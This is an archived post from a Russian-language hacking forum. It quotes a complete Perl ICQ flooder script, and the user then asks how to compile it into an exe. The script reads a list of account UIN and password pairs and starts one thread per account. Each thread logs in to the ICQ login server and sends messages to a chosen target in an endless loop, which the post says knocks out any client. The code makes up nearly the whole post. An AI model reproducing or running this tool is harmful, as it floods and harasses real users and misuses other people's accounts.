ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
04.06.2011, 17:04
|
|
Новичок
Регистрация: 14.05.2010
Сообщений: 7
Провел на форуме:
27814
Репутация:
0
|
|
Сообщение от школьнек
школьнек said:
Флудер на перле, выбивает любой клиент
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#!/usr/bin/perl
[/COLOR][COLOR="#007700"]use[/COLOR][COLOR="#0000BB"]warnings[/COLOR][COLOR="#007700"];
use[/COLOR][COLOR="#0000BB"]strict[/COLOR][COLOR="#007700"];
use[/COLOR][COLOR="#0000BB"]threads[/COLOR][COLOR="#007700"];
use[/COLOR][COLOR="#0000BB"]threads[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]shared[/COLOR][COLOR="#007700"];
use[/COLOR][COLOR="#0000BB"]Socket[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]my $targetUin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]number[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]#кого
[/COLOR][COLOR="#0000BB"]my $message[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'message'[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]#чем
[/COLOR][COLOR="#0000BB"]my[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$port[/COLOR][COLOR="#007700"]) = ([/COLOR][COLOR="#DD0000"]'login.icq.com'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5190[/COLOR][COLOR="#007700"]);
print[/COLOR][COLOR="#DD0000"]"\n$0 Начинаем анальноe парабощение хуисосов!"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]my[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]uins[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]shared[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]FILE[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]';
[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]FILE[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]chomp[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]uins[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]my $threads[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]scalar[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]uins[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]#количество потоков = количеству асек в файле
[/COLOR][COLOR="#0000BB"]my[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]thread[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]1.[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$threads[/COLOR][COLOR="#007700"]) {[/COLOR][COLOR="#0000BB"]$thread[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]threads[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]create[/COLOR][COLOR="#007700"](\&[/COLOR][COLOR="#0000BB"]flood[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]sleep 3[/COLOR][COLOR="#007700"]}
for([/COLOR][COLOR="#0000BB"]1.[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$threads[/COLOR][COLOR="#007700"]) {[/COLOR][COLOR="#0000BB"]$thread[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]join[/COLOR][COLOR="#007700"]; }
[/COLOR][COLOR="#0000BB"]sub flood[/COLOR][COLOR="#007700"]{
[/COLOR][COLOR="#0000BB"]my[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$uin[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]) =[/COLOR][COLOR="#0000BB"]split[/COLOR][COLOR="#007700"](/;/,[/COLOR][COLOR="#0000BB"]shift[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]uins[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]my $SNAC[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\x00\x00\x00\x01\x00\x01"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]int2bytes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]length[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$uin[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#0000BB"]$uin[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x00\x02"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]int2bytes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]length[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"])).
[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]^[/COLOR][COLOR="#DD0000"]"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]length[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"])).
[/COLOR][COLOR="#DD0000"]"\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x0E\x00\x02\x75\x73"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]my $FLAP[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\x2A\x01"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]seqNum[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#0000BB"]int2bytes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]length[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$SNAC[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]socket[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]AF_INET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SOCK_STREAM[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]getprotobyname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'tcp'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]sockaddr_in[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$port[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]inet_aton[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"])));
[/COLOR][COLOR="#0000BB"]my $response[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]sysread[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]syswrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$FLAP[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$SNAC[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]sysread[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]65535[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=~/[/COLOR][COLOR="#0000BB"]MISMATCH_PASSWD[/COLOR][COLOR="#007700"]/) { return }
[/COLOR][COLOR="#0000BB"]my[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$BOS_Host[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$BOS_Port[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$Cookie[/COLOR][COLOR="#007700"]);
if(([/COLOR][COLOR="#0000BB"]$BOS_Host[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$BOS_Port[/COLOR][COLOR="#007700"]) =[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=~ /(\[/COLOR][COLOR="#0000BB"]d[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]}\.\[/COLOR][COLOR="#0000BB"]d[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]}\.\[/COLOR][COLOR="#0000BB"]d[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]}\.\[/COLOR][COLOR="#0000BB"]d[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]}):(\[/COLOR][COLOR="#0000BB"]d[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]})/[/COLOR][COLOR="#0000BB"]o[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$Cookie[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]parsCookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]);
print[/COLOR][COLOR="#DD0000"]"[+][/COLOR][COLOR="#0000BB"]$uin[/COLOR][COLOR="#DD0000"]reconnect to:[/COLOR][COLOR="#0000BB"]$BOS_Host[/COLOR][COLOR="#DD0000"]:[/COLOR][COLOR="#0000BB"]$BOS_Port[/COLOR][COLOR="#DD0000"]\n"
[/COLOR][COLOR="#007700"]} else { return }
[/COLOR][COLOR="#0000BB"]$SNAC[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\x00\x00\x00\x01\x00\x06\x01\x00"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$Cookie[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$FLAP[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\x2A\x01"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]seqNum[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#0000BB"]int2bytes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]length[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$SNAC[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]socket[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]AF_INET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SOCK_STREAM[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]getprotobyname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'tcp'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]sockaddr_in[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$BOS_Port[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]inet_aton[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$BOS_Host[/COLOR][COLOR="#007700"])));
[/COLOR][COLOR="#0000BB"]sysread[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]syswrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$FLAP[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$SNAC[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]sysread[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]65535[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$SNAC[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x00\x01\x01\x10\x02\x8A"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$FLAP[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\x2A\x02"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]seqNum[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#0000BB"]int2bytes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]length[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$SNAC[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]syswrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$FLAP[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$SNAC[/COLOR][COLOR="#007700"]);
for(;;) {
[/COLOR][COLOR="#0000BB"]$SNAC[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#0000BB"]pack[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'h'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]length[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$targetUin[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#0000BB"]$targetUin[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\x00\x05"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]int2bytes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]length[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]102[/COLOR][COLOR="#007700"]).
[/COLOR][COLOR="#DD0000"]"\x00\x00"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x00\x0A\x00\x02\x00\x01\x00\x0F"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x00\x00\x27\x11"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#FF8000"]#хз
[/COLOR][COLOR="#0000BB"]int2bytes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]length[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]62[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#FF8000"]#61 + длина текста
[/COLOR][COLOR="#DD0000"]"\x1B\x00\x08"[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#DD0000"]"\x00"[/COLOR][COLOR="#0000BB"]x19[/COLOR][COLOR="#007700"]).
[/COLOR][COLOR="#DD0000"]"\x03\x00\x00\x00"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x00\x02\x00\x0E\x00\x02"[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#DD0000"]"\x00"[/COLOR][COLOR="#0000BB"]x13[/COLOR][COLOR="#007700"]).
[/COLOR][COLOR="#DD0000"]"\x01\x00\x00\x00\x00"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"\x01"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]pack[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'v'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]length[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#DD0000"]\0"[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$FLAP[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\x2A\x02"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]seqNum[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#0000BB"]int2bytes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]length[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$SNAC[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]syswrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SOCKET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$FLAP[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$SNAC[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]sleep 2[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]));
print[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$uin[/COLOR][COLOR="#DD0000"]send message\n"
[/COLOR][COLOR="#007700"]}
}
[/COLOR][COLOR="#0000BB"]sub int2bytes[/COLOR][COLOR="#007700"]{ return[/COLOR][COLOR="#0000BB"]pack[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'n'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]shift[/COLOR][COLOR="#007700"]) }[/COLOR][COLOR="#FF8000"]#пакуем в 16битное целое
[/COLOR][COLOR="#0000BB"]sub parsCookie[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#FF8000"]#парсер куки
[/COLOR][COLOR="#0000BB"]my $cookie[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]shift[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]my $i[/COLOR][COLOR="#007700"]++;
for(;;[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]++) {[/COLOR][COLOR="#0000BB"]last[/COLOR][COLOR="#007700"]if[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cookie[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]eq[/COLOR][COLOR="#DD0000"]"\x00\x06\x01\x00"[/COLOR][COLOR="#007700"]}
return[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cookie[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]256[/COLOR][COLOR="#007700"])
}
[/COLOR][COLOR="#0000BB"]BEGIN[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#FF8000"]#счётчик номера пакета
[/COLOR][COLOR="#0000BB"]my $seqNum[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]65535[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]sub seqNum[/COLOR][COLOR="#007700"]{
[/COLOR][COLOR="#0000BB"]$seqNum[/COLOR][COLOR="#007700"]++;
[/COLOR][COLOR="#0000BB"]$seqNum[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]if[/COLOR][COLOR="#0000BB"]$seqNum[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]65535[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]int2bytes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$seqNum[/COLOR][COLOR="#007700"])
}
}
[/COLOR][/COLOR]
А как скомпилировать это в exe? Поискал в гугле, нашел perl2exe но она не работает...
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Древовидный вид